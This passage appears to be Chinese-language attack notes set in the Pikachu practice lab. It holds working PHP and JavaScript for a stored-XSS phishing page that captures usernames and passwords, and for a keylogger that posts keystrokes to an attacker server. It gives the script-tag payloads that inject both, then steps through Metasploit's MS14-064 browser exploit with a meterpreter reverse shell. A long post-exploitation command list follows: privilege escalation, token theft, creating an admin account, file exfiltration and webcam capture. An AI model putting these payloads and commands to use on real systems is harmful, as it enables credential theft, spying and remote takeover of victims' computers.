         <td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;

        echo $html; 
    }
    ?>
    </table>
</div>
</body>
</html>

用来获得操作信息,会在最后 跳转回去的时候给后面加上?????Aa123456来通过if判断

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();



if(!empty($_GET['username']) && !empty($_GET['password'])){

    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) 
    values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);
}
header("Location: ".$_SERVER['HTTP_REFERER']."?????Aa123456");
?>

具体步骤为:先写出上面三个文件,发现那个网站存在储存型xss漏洞,我们进行注入

payload
<script src="http://192.168.1.187/pikachu/pkxss/xfish/fish.js"></script>
我们写的payload需要用src指向我们写好的弹窗的那个资源

会写进数据库后面访问的人都会被要求输入用户名和密码

image-20231008202749484

抓取成功

image-20231008203258277

键盘记录

键盘记录时不遵循同源策略,所以打开浏览器控制台会看见会一边敲键盘一边报错

image-20231008205142248

用来显示和操作键盘记录获得的信息

<?php
// 错误报告
// error_reporting(0);

// 引入配置和数据库连接文件
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';

// 连接数据库
$link = connect();

// 判断是否已登录,如果未登录则不能访问此页面,跳转到登录页面
if (!check_login($link)) {
    header("location:../pkxss_login.php");
}

// 如果通过GET请求传递了id参数,并且id是数字类型
if (isset($_GET['id']) && is_numeric($_GET['id'])) {
    $id = escape($link, $_GET['id']);

    // 删除键盘记录的SQL查询
    $query = "DELETE FROM keypress WHERE id = $id";

    // 执行SQL查询,从数据库中删除指定id的记录
    execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>键盘记录结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取键盘记录结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
    <tr>
        <td>id</td>
        <td>记录</td>
        <td>操作</td>
    </tr>
    <?php 
    // 从数据库中查询键盘记录数据
    $query = "SELECT * FROM keypress";
    $result = mysqli_query($link, $query);

    while ($data = mysqli_fetch_assoc($result)) {
        // 生成HTML表格行,显示每条键盘记录的id、数据,并提供删除操作链接
        $html =<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['data']}</td>
        <td><a href="pkxss_keypress_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
        echo $html;
    }
    ?>
</table>
</div>
</body>
</html>
这段PHP代码的主要功能是从数据库中获取键盘记录数据,并显示在一个HTML表格中。同时,它还包括了删除键盘记录的功能。

通过ajax来进行异步获取键盘记录

// 创建一个XMLHttpRequest对象,用于处理Ajax请求
function createAjax() {
    var request = false;
    if (window.XMLHttpRequest) { // 支持XMLHttpRequest
        request = new XMLHttpRequest();
        if (request.overrideMimeType) {
            request.overrideMimeType("text/xml");
        }
    } else if (window.ActiveXObject) { // 支持ActiveXObject,适用于IE浏览器
        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for (var i = 0; i < versions.length; i++) {
            try {
                request = new ActiveXObject(versions[i]);
                if (request) {
                    return request;
                }
            } catch (e) {
                request = false;
            }
        }
    }
    return request;
}

// 初始化全局变量
var ajax = null;
var xl = "datax=";

// 键盘按键事件处理函数
function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl += realkey;
    show();
}

document.onkeypress = onkeypress;

// 发送Ajax请求
function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://192.168.1.187/pikachu/pkxss/rkeypress/rkserver.php", true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}
这段代码的主要功能是创建一个XMLHttpRequest对象,监听键盘按键事件并将按键数据发送到指定的服务器端脚本

这里有个设置允许了跨域请求,否则不会成功

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

// 引入配置和数据库连接文件
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';

// 连接数据库
$link = connect();

// 设置允许被跨域访问
header("Access-Control-Allow-Origin: *");

// 从POST请求中获取名为'datax'的数据
$data = $_POST['datax'];

// 创建SQL查询,将获取到的数据插入到'keypress'表中的'data'字段
$query = "INSERT INTO keypress(data) VALUES('$data')";

// 执行SQL查询,将数据插入数据库
$result = mysqli_query($link, $query);
?>
这段PHP代码的主要功能是将从POST请求中获取的数据插入到数据库中的'keypress'表中。

关键内容

payload要指向我们的js文件

也是利用储存型

这两个个IP地址需要为接受的IP地址
关键点
ajax.open("POST", "http://192.168.1.187/pikachu/pkxss/rkeypress/rkserver.php",true);

允许跨站访问,否则不被同源策略所允许
header("Access-Control-Allow-Origin: *");

payload
<script src="http://192.168.1.187/pikachu/pkxss/rkeypress/rk.js"></script>

我们首先需要把第二个当中的文件中的IP地址改为我们rkserver.php的相对路径,基本就这一个地方需要更改

需要注意的是,不能访问太多

image-20231008205059905

XSS网站挂马

MS14-064漏洞复现(kali2019 靶机windows7sp1)

使用kali打开msf

msfconsole

搜索ms14-064漏洞利用模块

search ms14-064

使用漏洞利用模块

use exploit/windows/browser/ms14_064_ole_code_execution

打开调用powershell权限

set AllowPowershellPrompt true

设置木马服务器地址(kali IP)

set srvhost 192.168.8.6

设置调用的payload

set payload windows/meterpreter/reverse_tcp

设置监听IP(kali IP)

set lhost 192.168.8.6

设置监听端口

set lport 4444

运行

run

运行后生成木马地址

http://192.168.129.129:8080/xJX2NQ3xt

含有此漏洞的靶机访问msf上线

<iframe src="http://192.168.129.129:8080/xJX2NQ3xt"></iframe>
http://192.168.139.129:8080/uRU5Hu59dwnF
<iframe src="http://192.168.139.129:8080/uRU5Hu59dwnF"></iframe>

生成url

image-20231008210445618

带到靶机中去运行

image-20231008212901378

补充内容meterpreter

当你进入到这个视图时,说明你已经成功获取到受害机的一部分操作权限了

下面要进行的是权限维持和权限提升,msf已经为我们准了一些方法

因为在迁移进程时最多只能迁移到当前权限的进程,所以这里我们先提升一下权限

可以尝试以下命令

run post/multi/recon/local_exploit_suggester

search bypassuac

use exploit/windows/local/ms

getsystem

如果不能成功可以试着利用其他方式进行提权

当我们成功拿到最高权限时,可以去查看系统进程迁移过去防止木马进程被杀掉

查看win的进程

ps

迁移进程

migrate (uid)

meterpreter的一些命令

查看当前用户

getuid

将meterpreter挂起在后台

background    

查看挂载在后台的进程

sessions

重新进入进程

sessions -i (id)

杀掉进程

sessions -k (id)

弹出cmd

shell

操作注册表

reg

-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称

enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据

缓解乱码情况

chcp 65001

列出远程桌面程序

enumdesktops

获取远程桌面

getdesktop

控制鼠标键盘

uictl

查看系统信息

sysinfo

使用令牌窃取模块

use incognito

枚举可用令牌

list_tokens -u

切换令牌

impersonate_token 'NT AUTHORITY\SYSTEM'

换回初始身份

rev2self

查看当前路径文件和路径

dir / ls

查看当前目录

pwd

创建文件

edit (文件名) 

创建目录

mkdir

删除目录

rmdir

复制文件

cp  (源位置) (目标地址)

移动文件

mv  (源位置) (目标地址)

上传文件

upload (攻击机文件路径) (受害机路径)

下载文件

download (受害机路径)

搜索文件

search -d c: -f "*".config

创建用户

net user tom 123456 /add

设为管理员组

net localgroup administrators tom /add

查看对方是否存在摄像头

webcam_list

利用摄像头拍照

webcam_snap

利用摄像头直播视频

webcam_stream

网上找到的一些XSS实战案例

https://blog.csdn.net/HBohan/article/details/122559828   XSS盲打实战案例:某网页漫画...

https://saucer-man.com/information_security/52.html   目标网站是一个美工网站...

https://xz.aliyun.com/t/8459   实战思路讲解...

https://ost.51cto.com/posts/491  XSS攻防...

https://cloud.tencent.com/developer/article/2186861   XSS绕过防护盲打某SRC官网后台...

Views: 13

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-12-21